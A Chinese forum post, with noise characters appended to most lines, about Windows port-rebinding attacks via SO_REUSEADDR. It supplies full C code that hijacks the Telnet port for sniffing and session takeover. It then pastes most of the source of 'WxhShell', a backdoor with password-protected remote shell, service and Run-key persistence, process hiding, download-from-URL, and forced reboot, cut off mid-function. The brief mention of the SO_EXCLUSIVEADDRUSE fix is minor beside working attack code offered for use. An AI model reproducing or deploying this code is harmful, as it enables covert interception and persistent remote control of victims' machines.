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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X!|eRA~o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (PPC?6s  
F:jNv3W1  
  saddr.sin_family = AF_INET; +(!/(2>~  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OG{*:1EP  
=Htt'""DN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p-j6H  
r 1HG$^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Kb ]}p  
,~3rY,y-  
  这意味着什么?意味着可以进行如下的攻击: yV`Tw"p  
GJdL1ptc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6?x F!VIL  
k;cIEEdZD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iY>P7Uvvz  
>)D=PvGlmp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ys.GBSlHG  
.-YE(}^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @KM?agtlbl  
f I%8@ :  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +o@:8!IM1  
r0nnmy]{d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @q!T,({kx  
zsuqRM "  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .$s']' =  
A,&711Y  
  #include [.&JQ  
  #include r], %:imGr  
  #include yMdu Zmkc  
  #include    8GBKFNR 8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K Zg NL|  
  int main() I:t ?#)wl  
  { 4Q#{,y944  
  WORD wVersionRequested; J<L\IP?%  
  DWORD ret; >-V632(/{o  
  WSADATA wsaData; E-^(VZ_Xj  
  BOOL val; }8AH/  
  SOCKADDR_IN saddr; FI:H/e5[  
  SOCKADDR_IN scaddr; T}{zh  
  int err; A3.I|/  
  SOCKET s; |(l]Xr&O  
  SOCKET sc; #8L: .,AYE  
  int caddsize; q{V e%8$"  
  HANDLE mt; &3IkC(yD  
  DWORD tid;   ^>%.l'1/(  
  wVersionRequested = MAKEWORD( 2, 2 ); ,FP0n  
  err = WSAStartup( wVersionRequested, &wsaData ); b5MU$}:  
  if ( err != 0 ) { dLGHbeZ[(  
  printf("error!WSAStartup failed!\n"); E5A"sB   
  return -1; ,){#J"W  
  } p*<I_QM!  
  saddr.sin_family = AF_INET; /":/DwI'   
   (xvg.Nby  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &0f/F:M  
F3vywN1$,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CAx$A[f<  
  saddr.sin_port = htons(23); I*j~5fsS'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gFuK/]gzI  
  { k?HdW(HA  
  printf("error!socket failed!\n"); cQxUEY('+  
  return -1; $,O8SW.O$  
  } ]#DCO8Vk  
  val = TRUE; y+Nw>\|S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -rYb{<;ST  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }|/A &c  
  { o "0 ~  
  printf("error!setsockopt failed!\n"); MCTJ^g"D  
  return -1; D^>d<LX  
  } zqrqbqK5R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8ZbXGQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3n)Kzexh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g]JJ!$*1  
Z" H;t\P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *tT}N@<%  
  { PA803R74  
  ret=GetLastError(); .7 )oWd!  
  printf("error!bind failed!\n"); SIm1fC  
  return -1; qZ E3T:S  
  } A@_>9;   
  listen(s,2); ~9APc{"A  
  while(1) R}w}G6"\  
  { z &P1C,n)  
  caddsize = sizeof(scaddr); 5m'AT]5Tn_  
  //接受连接请求 vO$cF*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %^E 7Iqc  
  if(sc!=INVALID_SOCKET) ceJ#>Rj  
  { "9^b1UH<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \tvL<U"'  
  if(mt==NULL) bh5P98s  
  { Z JcX-Z!\  
  printf("Thread Creat Failed!\n"); ( ./MFf  
  break; f?^-JZ  
  } dZIbajs'  
  } r?Mf3U^G  
  CloseHandle(mt); PfU\.[l$  
  } #>KiX84  
  closesocket(s); :qqG%RB  
  WSACleanup(); nu+^D$ait  
  return 0; 3rFku"z T$  
  }   |xZu?)M4  
  DWORD WINAPI ClientThread(LPVOID lpParam) tA4Ra,-c  
  { :4 z\Q]  
  SOCKET ss = (SOCKET)lpParam; b==jlYa=  
  SOCKET sc; p*g)-/mA  
  unsigned char buf[4096]; {R63n  
  SOCKADDR_IN saddr; fnr8{sr.2Z  
  long num; 3f^jy(  
  DWORD val; Z2g<"M  
  DWORD ret; glo G_*W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B%u[gNZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _3%:m||,XP  
  saddr.sin_family = AF_INET; _IOUhMo  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Opf)TAl{  
  saddr.sin_port = htons(23); >G"fMOOkW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QPLWRZu@  
  { GTfM *b  
  printf("error!socket failed!\n"); #6#n4`%ER  
  return -1; W //+[  
  } />I5,D'h  
  val = 100; q$yg^:]2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E<! L^A M`  
  { \hI?XnL#  
  ret = GetLastError(); Y R~e_cA:  
  return -1; YWd2bRb  
  } XW8@c2jN\7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3}phg  
  { !D{z. KO  
  ret = GetLastError(); ^|vk^`S  
  return -1; u=s,bt,"5  
  } $ e L-fg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0&| M/  
  { dVMl;{  
  printf("error!socket connect failed!\n"); h"8[1 ;  
  closesocket(sc); ziO(`"v  
  closesocket(ss); K\B!tk  
  return -1; [ywF!#'){  
  } @VOegf+N  
  while(1) ^J^~5q8  
  { WwnBe"7M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *]<=04v]R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 BHgs,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N#-. [9!  
  num = recv(ss,buf,4096,0); Ufi#y<dP  
  if(num>0) @,Dnl v|?  
  send(sc,buf,num,0); v+sF0 j\P  
  else if(num==0) *wmkcifF;  
  break; nIBeZof  
  num = recv(sc,buf,4096,0); qA!4\v={  
  if(num>0) /o6ido  
  send(ss,buf,num,0); E>*b,^J7g  
  else if(num==0) n2AoEbd  
  break; [X@{xF^vBQ  
  } af6<w.i  
  closesocket(ss); CiHx.5TiC  
  closesocket(sc); #WG;p(?:  
  return 0 ; -b+)Dp~$p  
  } D1>*ml  
@|ZUyat  
7u^wO<  
========================================================== bL0]Yuh  
Citumc)E  
下边附上一个代码,,WXhSHELL $X.F=Kv  
?XyrG1('  
========================================================== g]44|9x(W  
!U(S?:hvW  
#include "stdafx.h" hV`?, ~K  
r/NaoIrJV  
#include <stdio.h> *1b0IQ$g  
#include <string.h> ;XZN0A2  
#include <windows.h> im:[ViR {  
#include <winsock2.h> ^hEN  
#include <winsvc.h> m^ar:mK@  
#include <urlmon.h> Xu_1r8-|=b  
r:0RvWif  
#pragma comment (lib, "Ws2_32.lib") hTby:$aCg  
#pragma comment (lib, "urlmon.lib") a8[%-eW,  
suhnA(T{  
#define MAX_USER   100 // 最大客户端连接数 u}R|q  
#define BUF_SOCK   200 // sock buffer (qc <'$o  
#define KEY_BUFF   255 // 输入 buffer oliVaavj  
13 JG[,w  
#define REBOOT     0   // 重启 ;2fzA<RkK  
#define SHUTDOWN   1   // 关机 K]>4*)A:  
u\xrC\Ka  
#define DEF_PORT   5000 // 监听端口 G5 )"%G.  
c??m9=OX1  
#define REG_LEN     16   // 注册表键长度 Jq>5:"jZ0  
#define SVC_LEN     80   // NT服务名长度 p'@z}T?F  
:nnch?J_  
// 从dll定义API (1er?4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  L=!h`k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ' t(#HBU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *n@rPr-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v/]xdP^Z  
Y@ ;/Sf$Q  
// wxhshell配置信息 qB$QC  
struct WSCFG { |4aU&OX  
  int ws_port;         // 监听端口 5f@&XwD9  
  char ws_passstr[REG_LEN]; // 口令 9 s2z=^  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~k 6V?z}  
  char ws_regname[REG_LEN]; // 注册表键名 Ug gg!zA  
  char ws_svcname[REG_LEN]; // 服务名 id`9,IJx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v) K|{x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n~w[ajC/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D2MIV&pahP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9ucoQ@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $V<fJpA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $'*{&/@  
Z>1yLt@ls  
}; [["eK9 }0  
]4*E:  
// default Wxhshell configuration e *D,2>o  
struct WSCFG wscfg={DEF_PORT, \Z~@/OVc  
    "xuhuanlingzhe", Pa|*Jcr  
    1, %_5?/H@%3z  
    "Wxhshell", V%M@zd?u.  
    "Wxhshell", Iz#jR2:yn  
            "WxhShell Service", JGzEm>_ m  
    "Wrsky Windows CmdShell Service", T`I4_x  
    "Please Input Your Password: ", brCL"g|}  
  1, nM8'="$  
  "http://www.wrsky.com/wxhshell.exe", 6(A"5B=\  
  "Wxhshell.exe" m5?t<H~  
    }; pwVGe|h%,  
J<cY'?D  
// 消息定义模块 [Q8vS;.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TPN1Rnt0`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PP_ar{|7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~me/ve  
char *msg_ws_ext="\n\rExit."; r0'a-Mk;  
char *msg_ws_end="\n\rQuit."; yzNDXA.  
char *msg_ws_boot="\n\rReboot..."; yWH!v]S  
char *msg_ws_poff="\n\rShutdown..."; U?:?NC=1{  
char *msg_ws_down="\n\rSave to "; FB~IO#E8W  
G)3r[C^[k  
char *msg_ws_err="\n\rErr!"; jR3mV  
char *msg_ws_ok="\n\rOK!"; NPE 4@c_a@  
e]:(.Wb- 9  
char ExeFile[MAX_PATH]; A4L.bBl  
int nUser = 0; =G 'c%  
HANDLE handles[MAX_USER]; x+Ly,9nc$  
int OsIsNt; a63Ud<_a7  
01%0u8U  
SERVICE_STATUS       serviceStatus; gHWsKE  %  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m{yq.H[X  
NeewV=[%  
// 函数声明 W{}M${6&  
int Install(void); 2rf#Bq?7  
int Uninstall(void); PP6gU=9[)  
int DownloadFile(char *sURL, SOCKET wsh); '?mky,:HT  
int Boot(int flag); Djp;\.$(  
void HideProc(void); 4 `}6W>*R  
int GetOsVer(void); niPqzi  
int Wxhshell(SOCKET wsl); 3XUie;*`  
void TalkWithClient(void *cs); Z+FhI^  
int CmdShell(SOCKET sock); Fdx4jc13w  
int StartFromService(void); ,nniSG((3  
int StartWxhshell(LPSTR lpCmdLine); }hc+ENh  
2.a{,d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); soB_j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4)snt3k  
catJC3  
// 数据结构和表定义 ]6WP;.[  
SERVICE_TABLE_ENTRY DispatchTable[] = |5BvVqn  
{ kL -f@CD  
{wscfg.ws_svcname, NTServiceMain}, TPi{c_ ]  
{NULL, NULL} j'SGZnsy*  
}; 4"+v:t)z6{  
D<^K7tJui  
// 自我安装 EuD$^#  
int Install(void) #6 $WuIG  
{ k,/2]{#53d  
  char svExeFile[MAX_PATH]; R8j\CiV17  
  HKEY key; r)dXcus  
  strcpy(svExeFile,ExeFile); zwlz zqV  
*W4~.peoE  
// 如果是win9x系统,修改注册表设为自启动 V67<Ky>  
if(!OsIsNt) { pvM`j86 _  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +'9xTd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xI5zP? _v  
  RegCloseKey(key); V:8{MO(C\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C^ ~[b o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `6*1mE1K&  
  RegCloseKey(key);  1W>0  
  return 0; R+=Xr<`%U|  
    } @l~MY *hp  
  } A^7}:[s20  
} - SCFWc  
else { Ec!R3+  
*,XT;h$'>  
// 如果是NT以上系统,安装为系统服务 HwBJUr91]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XpP}(A@G  
if (schSCManager!=0) F:G Vysy  
{ ;E\e.R  
  SC_HANDLE schService = CreateService 1KI5tf>>p  
  ( @p9YHLxLjQ  
  schSCManager, ;.d{$SO  
  wscfg.ws_svcname, 0(|36 ;x  
  wscfg.ws_svcdisp, )KN]"<jB  
  SERVICE_ALL_ACCESS, e[.JS6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hJoh5DIE95  
  SERVICE_AUTO_START, E@)9'?q  
  SERVICE_ERROR_NORMAL, ]7%+SH,RdD  
  svExeFile, T'%R kag>  
  NULL, k= .pcDX  
  NULL, 6p~8(-nG  
  NULL, .!g  
  NULL, TI637yqCU  
  NULL V_H0z  
  ); frbeCBP&)  
  if (schService!=0) k{+ Gv}Y  
  { e:iqv?2t  
  CloseServiceHandle(schService); J<ZG&m362p  
  CloseServiceHandle(schSCManager); /h K/t;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iaQ3mk#  
  strcat(svExeFile,wscfg.ws_svcname); 2NWQiSz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,mD{4 >7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (fC U+  
  RegCloseKey(key); h_xzqElZu  
  return 0; FmtV[C #  
    } 5[rA>g~  
  } qa/VSk!{  
  CloseServiceHandle(schSCManager); *>7Zc  
} #}nDX4jI  
} @D=i|f  
Ug^vVc)  
return 1; bqm%@*fZo  
} J]$]zD  
C +S>;1  
// 自我卸载 T|h'"3'  
int Uninstall(void) 0"xD>ue&  
{ _!E/ em  
  HKEY key; d /`d:g  
T2MXwd&l  
if(!OsIsNt) { TM`6:5ONv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w?A6S-z  
  RegDeleteValue(key,wscfg.ws_regname); p!p:LSk"/b  
  RegCloseKey(key); ,Zs*07!$f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4k=LVu]Kcr  
  RegDeleteValue(key,wscfg.ws_regname); 43o!Vr/ S  
  RegCloseKey(key); 6vebGf  
  return 0; xw~&OF&  
  } e4Jx%v?_P  
} FDIOST !  
} :LX (9f   
else { 0D^c4[Y'l  
2g_2$)2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pq<2:F:Kl  
if (schSCManager!=0) {~~'  
{ oa8xuFu(n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `:;fc  
  if (schService!=0) vI+X9C?  
  { t,R4q*  
  if(DeleteService(schService)!=0) { Q`[J3-Q*{  
  CloseServiceHandle(schService); Iq: G9M  
  CloseServiceHandle(schSCManager); iig@$ i#  
  return 0; ($^=f}+  
  } $}Ky6sBnvO  
  CloseServiceHandle(schService); vS+E`[  
  } tJZ3P@ L  
  CloseServiceHandle(schSCManager); g7<u eF  
} #(Ezt% ^  
} _J33u3v  
[5s4Jp$+  
return 1; C!S( !Z,  
} dp#'~[j  
Lsz)\yIPj  
// 从指定url下载文件 J nf@u  
int DownloadFile(char *sURL, SOCKET wsh) 8z'_dfP=5  
{ ttA0* >'  
  HRESULT hr; PitDk 1T  
char seps[]= "/"; {qPu }?0  
char *token; 9|1J pb  
char *file; *WZ?C|6+  
char myURL[MAX_PATH]; (eF "[,z  
char myFILE[MAX_PATH]; s N|7   
($*R>*6<x  
strcpy(myURL,sURL); VW *d*!  
  token=strtok(myURL,seps); n~G-X  
  while(token!=NULL) A&($X)t  
  { Qwu~ {tf+'  
    file=token; 137:T:  
  token=strtok(NULL,seps); 7q|51rZz  
  } cXG$zwS\  
Q[.HoqWK  
GetCurrentDirectory(MAX_PATH,myFILE); ?cD2EX%(  
strcat(myFILE, "\\"); >p@v'h/Cr  
strcat(myFILE, file); \}+b_J6-  
  send(wsh,myFILE,strlen(myFILE),0); 8+OcM ;0  
send(wsh,"...",3,0); ''~#tK f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L&h90Az1W  
  if(hr==S_OK) /yO|Q{C}M8  
return 0; \N"=qw^ t  
else },(Ln%M  
return 1; kC4}@{4i  
m #}%l3$  
} (SGU]@)g  
? _Y2'O  
// 系统电源模块  Vq K/GWg  
int Boot(int flag) yUp"%_t0  
{ S 0L"5B@  
  HANDLE hToken; 0dKi25J  
  TOKEN_PRIVILEGES tkp; R`!'c(V  
^Y- S"Ks  
  if(OsIsNt) { vK~tgZ&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0z:BSdno  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mnS F=l;;  
    tkp.PrivilegeCount = 1; sDzlNMr?P+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v'H\KR-;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 55]E<2't  
if(flag==REBOOT) { %_%/ym  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U CF'%R  
  return 0; z]O,Vqpl?  
} QpC,komLJ  
else { a2\r^fY/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 52>,JHq  
  return 0; K~ShV  
} {m2lVzK  
  } mDJN)CX  
  else { Xj("  
if(flag==REBOOT) { [[ ;vZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -cW 'g  
  return 0; dpWBY3(7a  
} l/F'W}  
else { B2DWSp-8*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K\a=bA}DG  
  return 0; 8KhE`C9z  
} '2BE"e  
} ( 17=|s  
{#X]D~;s+  
return 1; .|Zt&5osI  
} A,'JmF$d  
B>"O~ gZ{#  
// win9x进程隐藏模块 1hnw+T<<W  
void HideProc(void) +X&b  
{ Zr U9oy&!C  
?*h 2:a$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &m J +#vT  
  if ( hKernel != NULL ) h8me.=S&  
  { ap[{`u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j9G1  _  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a2tRmil  
    FreeLibrary(hKernel); :`w'}h7m  
  } lyYi2& %  
}E%#g#  
return; 7xr@$-U  
} w;Jby  
;)nV  
// 获取操作系统版本 ~xSAR;8  
int GetOsVer(void) ollk {N  
{ sq~9 l|F  
  OSVERSIONINFO winfo; A:-r 2;xB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); quEP"  
  GetVersionEx(&winfo); G^Q8B^Lg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <5wk~|@t  
  return 1; <B %s9Zy  
  else =Pu;wx9  
  return 0; xOAA1#   
} ~$\9T.tre2  
Fw!TTH6l0  
// 客户端句柄模块 E,nxv+AQ  
int Wxhshell(SOCKET wsl) 50l! f7  
{ ,-GkP>8f(  
  SOCKET wsh; Ja@zeD)f"  
  struct sockaddr_in client; wQV[ZfU^h  
  DWORD myID; CMI V"-  
Sb;=YW 1<  
  while(nUser<MAX_USER) 8r46Wr7Q  
{ |)pRkn8x  
  int nSize=sizeof(client); @ppT;9<d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0~:Eo89  
  if(wsh==INVALID_SOCKET) return 1; Z:2a_A tm  
HpX ;:/I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;I^+u0ga  
if(handles[nUser]==0) g* & |Eq/  
  closesocket(wsh); ^[]@dk9  
else ~dFdO7  
  nUser++; d@?++z  
  } v.Y?<=E+<d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6|-V{  
hhU: nw  
  return 0; %Ct^{k~1  
} (-:lO{@FsC  
zc n/LF  
// 关闭 socket 1"4Pan  
void CloseIt(SOCKET wsh) -J<{NF  
{ ev}ugRxt|k  
closesocket(wsh); &eqeQD6  
nUser--; *49lM;  
ExitThread(0); [$<\*d/  
} ^-&BGQM  
PS=N]e7k'  
// 客户端请求句柄 4|#@41\ B  
void TalkWithClient(void *cs) jrKRXS  
{ UbnX%2TW  
Hido[  
  SOCKET wsh=(SOCKET)cs; 1YrIcovi-  
  char pwd[SVC_LEN]; Z Vin+z  
  char cmd[KEY_BUFF]; \[57Dmo  
char chr[1]; ,R~{$QUl  
int i,j; k)t_U3i  
7l~d_<h  
  while (nUser < MAX_USER) { H`:2J8   
Hv~& RZpe  
if(wscfg.ws_passstr) { abW[hp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ruKm_j#J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +=:*[JEK,U  
  //ZeroMemory(pwd,KEY_BUFF); pp2,d`01[L  
      i=0; R iPxz=kr  
  while(i<SVC_LEN) { 1#D&cx6  
%\|9_=9Wn  
  // 设置超时 Us.")GiHE  
  fd_set FdRead; ~mR@L`"l  
  struct timeval TimeOut; t6+c"=P#  
  FD_ZERO(&FdRead); ]"2;x  
  FD_SET(wsh,&FdRead); C2[* $ 1U  
  TimeOut.tv_sec=8; .EF(<JC?  
  TimeOut.tv_usec=0; [@&0@/s*t'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K|{IX^3)V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ? +q(,P@*  
6` 8H k;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bl8EzO  
  pwd=chr[0]; FkH HTO  
  if(chr[0]==0xd || chr[0]==0xa) { `Pcbc\"*y  
  pwd=0; @X?7a]+;8  
  break; OABMIgX  
  } ?DwI>< W  
  i++; 4Ucs9w3[  
    } aJ{-m@/ 5  
]+ KN9  
  // 如果是非法用户,关闭 socket L*QX21@wC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5uidi  
} JoCZ{MhM  
KmYSYNr@,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v/m} {&K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vR)f'+_Nz  
s<XAH7?0  
while(1) { w!j'k|b>  
sMn)[k vX  
  ZeroMemory(cmd,KEY_BUFF); AVnH|31dC~  
C+m%_6<  
      // 自动支持客户端 telnet标准   ?^Q8#Y^M  
  j=0; 2d#3LnO  
  while(j<KEY_BUFF) { [B,w\PLub  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l+vD`aJ3  
  cmd[j]=chr[0]; wqnHaWd*  
  if(chr[0]==0xa || chr[0]==0xd) { 6${=N}3Kw  
  cmd[j]=0; !2o1c  
  break; [qL{w&R  
  } ~O c:b>~  
  j++; )-s9CWJv  
    } 'xP&u<(F  
w wuM!Z+  
  // 下载文件 k Xg&}n7  
  if(strstr(cmd,"http://")) { Lhz*o6)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sc0.!6^'V  
  if(DownloadFile(cmd,wsh)) =.48^$LWx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \x7^ly$_  
  else h]>QGX[kC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @BmI1  
  } !S3^{l-  
  else { ixY[ HDPq  
[X%Wg:K  
    switch(cmd[0]) { Z^[ ]s1iP}  
  Im g$D*BM  
  // 帮助  Nt w?~%  
  case '?': { 0z =?}xr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F%tV^$%  
    break; )yt_i'D}  
  } (Qcd !!   
  // 安装 dHsI<:T#  
  case 'i': { GiK4LJ~cH)  
    if(Install()) E~y( @72)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vm*E^ v  
    else o}p^q:T*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) w1`<7L  
    break; q21l{R{Y  
    } ogvB{R  
  // 卸载 F+SqJSa  
  case 'r': { A`:a T{j  
    if(Uninstall()) 67g"8R#.V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kj>!&W57  
    else UasU/Q <   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PWBcK_4i%  
    break; `x]`<kS;  
    } ^?8/9 o  
  // 显示 wxhshell 所在路径 2j;9USZ p  
  case 'p': { dLfB){>S  
    char svExeFile[MAX_PATH]; y}U}AUt  
    strcpy(svExeFile,"\n\r"); 3`TD>6rs  
      strcat(svExeFile,ExeFile); f}t8V% ^E  
        send(wsh,svExeFile,strlen(svExeFile),0); 9vauCIfVC  
    break; lv>^P>S(O  
    } agkGUK/  
  // 重启 .|e8v _2J  
  case 'b': { }n( ?|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !T#EkMM  
    if(Boot(REBOOT)) \2^o,1r/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rc vp@  
    else { VTa%  
    closesocket(wsh); =/!RQQ|8o  
    ExitThread(0); EO`eg]  
    } !(HPx@_  
    break; bO` S Bq$  
    } ek"U q RY  
  // 关机 4a=QTq0p  
  case 'd': { .b? Aq^i8  
